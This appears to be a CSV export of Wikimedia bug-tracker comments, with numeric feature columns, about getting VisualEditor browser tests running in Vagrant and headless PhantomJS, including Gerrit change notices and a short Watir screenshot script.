237402,VisualEditor: Page down and page up not working as expected in Firefox,the same IP user has followed up saying (while I was reporting this) that they have been unable to reproduce their original report in Firefox 23.0.1 in Windows (they don't say which version),,,1378300544,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-bl2j543fwlnzihaohpzu,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,16.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,3.0,5.0,11.0,5.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,11.0,16.0,5.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,4.157894736842105,0.8947368421052632,the same IP user has followed up saying (while I was reporting this) that they have been unable to reproduce their original report in Firefox 23.0.1 in Windows (they don't say which version)
55712,run VE browser tests in vagrant,"My goal next week is to be able to run the VE tests in a mediawiki-vagrant instance. When I added the role, I get puppet errors. Just in case you ran into this, here's the error:

notice: /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns: Installing ffi (1.9.0) with native extensions /usr/lib/ruby/1.9.1/rubygems/installer.rb:552:in `rescue in block in build_extensions': ERROR: Failed to build gem native extension. (Gem::Installer::ExtensionBuildError)
notice: /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns: 
notice: /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns:         /usr/bin/ruby1.9.1 extconf.rb 

         notice: /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns: Results logged to /home/vagrant/.gem/ruby/1.9.1/gems/ffi-1.9.0/ext/ffi_c/gem_make.out

and all that contains is the line
  /usr/bin/ruby1.9.1 extconf.rb 

There's an extconf.rb in ~/.gem/ruby/1.9.1/gems/ffi-1.9.0/ext/ffi_c , so I ran that line, it created a Makefile, I ran make, and it built something.  But the next time I ran browsertests, it failed again.

--------------------------
**Version**: unspecified
**Severity**: enhancement",High,80.0,1378218960,1386002609.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-kxfoifw5vn4mx32v4nnk,task_description,resolved,True,c1,3,False,False,False,9,,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,3.3333333333333335,1.0,0.0,0.0,0.0,2.0,0.3333333333333333,0.0,0.0,0.3333333333333333,2.3333333333333335,0.0,2.0,4.0,0.3333333333333333,1.0,0.0,0.0,0.3333333333333333,3.6666666666666665,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.3333333333333333,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,2.3333333333333335,0.0,0.3333333333333333,0.0,0.0,0.0,10.666666666666666,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,8.666666666666666,0.3333333333333333,1.3333333333333333,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,4.0,7.333333333333333,0.0,0.3333333333333333,0.0,4.0,0.0,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,4.723684210526315,0.6754385964912281,"My goal next week is to be able to run the VE tests in a mediawiki-vagrant instance. When I added the role, I get puppet errors. Just in case you ran into this, here's the error:

notice: /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns: Installing ffi (1.9.0) with native extensions /usr/lib/ruby/1.9.1/rubygems/installer.rb:552:in `rescue in block in build_extensions': ERROR: Failed to build gem native extension. (Gem::Installer::ExtensionBuildError)
notice: /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns: 
notice: /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns:         /usr/bin/ruby1.9.1 extconf.rb 

         notice: /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns: Results logged to /home/vagrant/.gem/ruby/1.9.1/gems/ffi-1.9.0/ext/ffi_c/gem_make.out

and all that contains is the line
  /usr/bin/ruby1.9.1 extconf.rb 

There's an extconf.rb in ~/.gem/ruby/1.9.1/gems/ffi-1.9.0/ext/ffi_c , so I ran that line, it created a Makefile, I ran make, and it built something.  But the next time I ran browsertests, it failed again.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
234968,run VE browser tests in vagrant,Closing since this looks like it has been fixed to me. Please reopen if needed.,,,1386002609,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-kxfoifw5vn4mx32v4nnk,task_subcomment,,True,c1,3,True,,,22,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,24.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,12.0,24.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,3.823529411764706,0.9411764705882353,Closing since this looks like it has been fixed to me. Please reopen if needed.
234963,run VE browser tests in vagrant,"**jhall** wrote:

I was able to get this working on my MacBook Air with the following workflow (I have not been able to verify that this works on platforms other than Mac OS):

1. vagrant enable-role visualeditor
2. vagrant up
3. vagrant provision
4. vagrant ssh -- -X
5. cd /srv/VisualEditor/VisualEditor/modules/ve-mw/test/browser
6. export MEDIAWIKI_URL=<value>
7. export MEDIAWIKI_USER=<value>
8. export MEDIAWIKI_PASSWORD=<value>
9. export PATH=$PATH:/home/vagrant/.gem/ruby/1.9.1/gems/cucumber-1.3.8/bin 
10. bundle exec cucumber <value>",,,1384965154,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-kxfoifw5vn4mx32v4nnk,task_subcomment,,True,c1,3,False,,,20,,0.0,0.0,0.0,0.0,0.5,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,3.5,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,10.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,1.0,8.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,7.0,0.0,1.5,3.5,16.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,3.8296130952380953,0.6529017857142857,"**jhall** wrote:

I was able to get this working on my MacBook Air with the following workflow (I have not been able to verify that this works on platforms other than Mac OS):

1. vagrant enable-role visualeditor
2. vagrant up
3. vagrant provision
4. vagrant ssh -- -X
5. cd /srv/VisualEditor/VisualEditor/modules/ve-mw/test/browser
6. export MEDIAWIKI_URL=<value>
7. export MEDIAWIKI_USER=<value>
8. export MEDIAWIKI_PASSWORD=<value>
9. export PATH=$PATH:/home/vagrant/.gem/ruby/1.9.1/gems/cucumber-1.3.8/bin 
10. bundle exec cucumber <value>"
55691,browsertests: triggers for VisualEditor,"Similar to bug 52120 for ULS. Once we've got this running on merge, we'll want to move to running on submit (V+2 submit?), but for now…

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52120
https://bugzilla.wikimedia.org/show_bug.cgi?id=57560",High,80.0,1378156860,1392915139.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-wn3s7fg7p7dky4txupqd,task_description,resolved,True,c1,3,True,False,False,9,,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,3.0,12.0,6.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.1492537313432836,0.6119402985074627,"Similar to bug 52120 for ULS. Once we've got this running on merge, we'll want to move to running on submit (V+2 submit?), but for now…

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement
**See Also**:
URL
URL"
233751,browsertests: triggers for VisualEditor,"**jhall** wrote:

Basic test is merged and in place, so marking this bug resolved.",,,1392915139,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,33,,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.1818181818181817,0.8636363636363636,"**jhall** wrote:

Basic test is merged and in place, so marking this bug resolved."
233747,browsertests: triggers for VisualEditor,"Change 111890 merged by jenkins-bot:
[Browser test] Headless browser test(s)

https://gerrit.wikimedia.org/r/111890",,,1392914962,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,33,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.2105263157894735,1.0,"Change 111890 merged by jenkins-bot:
[Browser test] Headless browser test(s)

GERRIT_URL"
233741,browsertests: triggers for VisualEditor,"Change 100797 abandoned by Hashar:
[browser test] Cucumber default profile for CI

Reason:
we are using something different than the ciwmf profile.

https://gerrit.wikimedia.org/r/100797",,,1392028920,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,32,,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,9.0,16.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,4.40625,0.875,"Change 100797 abandoned by Hashar:
[browser test] Cucumber default profile for CI

Reason:
we are using something different than the ciwmf profile.

GERRIT_URL"
233734,browsertests: triggers for VisualEditor,"Change 111890 had a related patch set uploaded by Jhall:
[Browser test] New test for headless browser testing on a fresh Mediawiki install with VisualEditor.

https://gerrit.wikimedia.org/r/111890",,,1391719839,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,31,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,4.5625,0.9375,"Change 111890 had a related patch set uploaded by Jhall:
[Browser test] New test for headless browser testing on a fresh Mediawiki install with VisualEditor.

GERRIT_URL"
233729,browsertests: triggers for VisualEditor,"Change 110468 abandoned by Jhall:
[Browser test] WIP Headless test for VE verification on a fresh Mediawiki install (as on Integration server).

Reason:
Abandoning this change since I'm going to start fresh with a slightly different approach.

https://gerrit.wikimedia.org/r/110468",,,1391650517,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,31,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,2.0,2.0,16.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,24.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,16.0,16.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,2.0,4.333333333333333,0.8431372549019608,"Change 110468 abandoned by Jhall:
[Browser test] WIP Headless test for VE verification on a fresh Mediawiki install (as on Integration server).

Reason:
Abandoning this change since I'm going to start fresh with a slightly different approach.

GERRIT_URL"
233725,browsertests: triggers for VisualEditor,"Change 110468 had a related patch set uploaded by Jhall:
[Browser test] WIP Headless test for VE verification on a fresh Mediawiki install (as on Integration server).

https://gerrit.wikimedia.org/r/110468",,,1391120795,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,30,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,25.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,14.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,4.25,0.9166666666666666,"Change 110468 had a related patch set uploaded by Jhall:
[Browser test] WIP Headless test for VE verification on a fresh Mediawiki install (as on Integration server).

GERRIT_URL"
233718,browsertests: triggers for VisualEditor,"Change 102960 abandoned by Jhall:
[Browser test] WIP Modifications for PhantomJS compatibility

Reason:
Abandoning this patch since we have implemented support for headless browser testing in the mediawiki-selenium Rubygem (rather than implementing it in each individual repo).

https://gerrit.wikimedia.org/r/102960",,,1391105926,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,30,,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,4.0,2.0,14.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,20.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,14.0,14.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,5.019607843137255,0.9019607843137255,"Change 102960 abandoned by Jhall:
[Browser test] WIP Modifications for PhantomJS compatibility

Reason:
Abandoning this patch since we have implemented support for headless browser testing in the mediawiki-selenium Rubygem (rather than implementing it in each individual repo).

GERRIT_URL"
233714,browsertests: triggers for VisualEditor,"**jhall** wrote:

After some further investigation, we've decided to use the ""headless"" Rubygem for headless browser testing, and we've decided to incorporate that support into the mediawiki-selenium Rubygem so that it will be available to all WMF repositories that have browser tests.  The task for updating the mediawiki-selenium is captured in Bugzilla 60584.",,,1391013095,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,30,,3.0,0.0,0.0,1.0,0.0,7.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,14.0,0.0,3.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,3.0,8.0,3.0,1.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,4.0,14.0,11.0,0.0,3.0,0.0,4.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.319444444444445,0.6944444444444444,"**jhall** wrote:

After some further investigation, we've decided to use the ""headless"" Rubygem for headless browser testing, and we've decided to incorporate that support into the mediawiki-selenium Rubygem so that it will be available to all WMF repositories that have browser tests.  The task for updating the mediawiki-selenium is captured in Bugzilla 60584."
233709,browsertests: triggers for VisualEditor,"**jhall** wrote:

Scripts used to evaluate PhantomJS ""bind"" injection

After a pairing session with Željko, I went back to basics and tried to get Function.prototype.bind injection working directly with PhantomJS (ignoring the rest of our test infrastructure for the time being).  

Per the attached scripts, I tried all of the relevant methods noted in the PhantomJS API documentation:

http://phantomjs.org/api/webpage/

...and still no luck.  The Main_Page loads fine, with the exception of the VE editing link/tab, which is available to other browsers (Chrome, Firefox, etc) at the same URL.

Per a suggestion from Antoine, it might be time to investigate using Firefox in a headless mode as a potential substitute for PhantomJS.

**Attached**: {F11112}",,,1389822544,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,28,,0.5,0.0,0.0,0.0,0.0,4.5,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.5,0.0,1.5,12.0,0.0,1.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.5,0.0,0.5,1.5,0.5,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,3.5,0.0,0.5,0.0,0.0,0.0,13.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.5,1.5,14.0,0.0,1.0,9.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,2.5,12.0,7.0,0.0,1.0,0.0,2.5,0.0,0.5,2.5,0.0,1.5,0.0,0.0,0.5,4.032467532467532,0.7532467532467533,"**jhall** wrote:

Scripts used to evaluate PhantomJS ""bind"" injection

After a pairing session with Željko, I went back to basics and tried to get Function.prototype.bind injection working directly with PhantomJS (ignoring the rest of our test infrastructure for the time being).  

Per the attached scripts, I tried all of the relevant methods noted in the PhantomJS API documentation:

URL

...and still no luck.  The Main_Page loads fine, with the exception of the VE editing link/tab, which is available to other browsers (Chrome, Firefox, etc) at the same URL.

Per a suggestion from Antoine, it might be time to investigate using Firefox in a headless mode as a potential substitute for PhantomJS.

**Attached**: {F11112}"
233703,browsertests: triggers for VisualEditor,"**jhall** wrote:

Changing bug status since task in still WIP.",,,1388083976,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,25,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.176470588235294,0.8235294117647058,"**jhall** wrote:

Changing bug status since task in still WIP."
233697,browsertests: triggers for VisualEditor,"Change 102960 had a related patch set uploaded by Jhall:
[Browser test] WIP Modifications for PhantomJS compatibility

https://gerrit.wikimedia.org/r/102960",,,1387556100,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,24,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,30.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.956521739130435,1.0,"Change 102960 had a related patch set uploaded by Jhall:
[Browser test] WIP Modifications for PhantomJS compatibility

GERRIT_URL"
233690,browsertests: triggers for VisualEditor,"**jhall** wrote:

Timo pointed me in the right direction:


jeffrey-hall:browser jeffreyhall$ phantomjs
phantomjs> Function.prototype.bind
undefined


Turns out PhantomJS is built with an old version of JavaScriptCore that is missing the ""bind"" implementation, which is needed to satisfy Visual Editor's es5 features check: 

https://github.com/wikimedia/mediawiki-extensions-VisualEditor/blob/cf7f2b141d/modules/ve-mw/init/targets/ve.init.mw.ViewPageTarget.init.js#L72-L84

…but a workaround is available:

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind?redirectlocale=en-US&redirectslug=JavaScript%2FReference%2FGlobal_Objects%2FFunction%2Fbind#Compatibility

…so I'll investigate the workaround next.",,,1387493238,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,24,,0.0,0.0,0.0,2.0,0.0,5.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,7.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,12.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,12.0,1.0,1.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,7.0,14.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,1.0,1.0,0.0,0.0,1.0,4.2823529411764705,0.7294117647058823,"**jhall** wrote:

Timo pointed me in the right direction:


jeffrey-hall:browser jeffreyhall$ phantomjs
phantomjs> Function.prototype.bind
undefined


Turns out PhantomJS is built with an old version of JavaScriptCore that is missing the ""bind"" implementation, which is needed to satisfy Visual Editor's es5 features check: 

URL

…but a workaround is available:

URL

…so I'll investigate the workaround next."
233682,browsertests: triggers for VisualEditor,"Created attachment 14138
ve phantomjs

**Attached**: {F11111}",,,1387468358,,PHID-USER-fz7hkyvt4jypl76ieyol,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,True,,,24,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5625,0.8125,"Created attachment 14138
ve phantomjs

**Attached**: {F11111}"
233676,browsertests: triggers for VisualEditor,"Created attachment 14137
ve ff

**Attached**: {F11109}",,,1387468337,,PHID-USER-fz7hkyvt4jypl76ieyol,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,True,,,24,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.125,0.8125,"Created attachment 14137
ve ff

**Attached**: {F11109}"
233668,browsertests: triggers for VisualEditor,"Strange. I am pretty sure PhantomJS has JS. :)

But, this simple script takes screen shot that shows it can not load visual editor.

require ""watir-webdriver""
browser = Watir::Browser.new :phantomjs
browser.goto ""https://test2.wikipedia.org/wiki/User:Zeljko.filipin%28WMF%29?veaction=edit&vewhitelist=1""
browser.window.resize_to 1280, 1024
browser.screenshot.save ""ve.png""

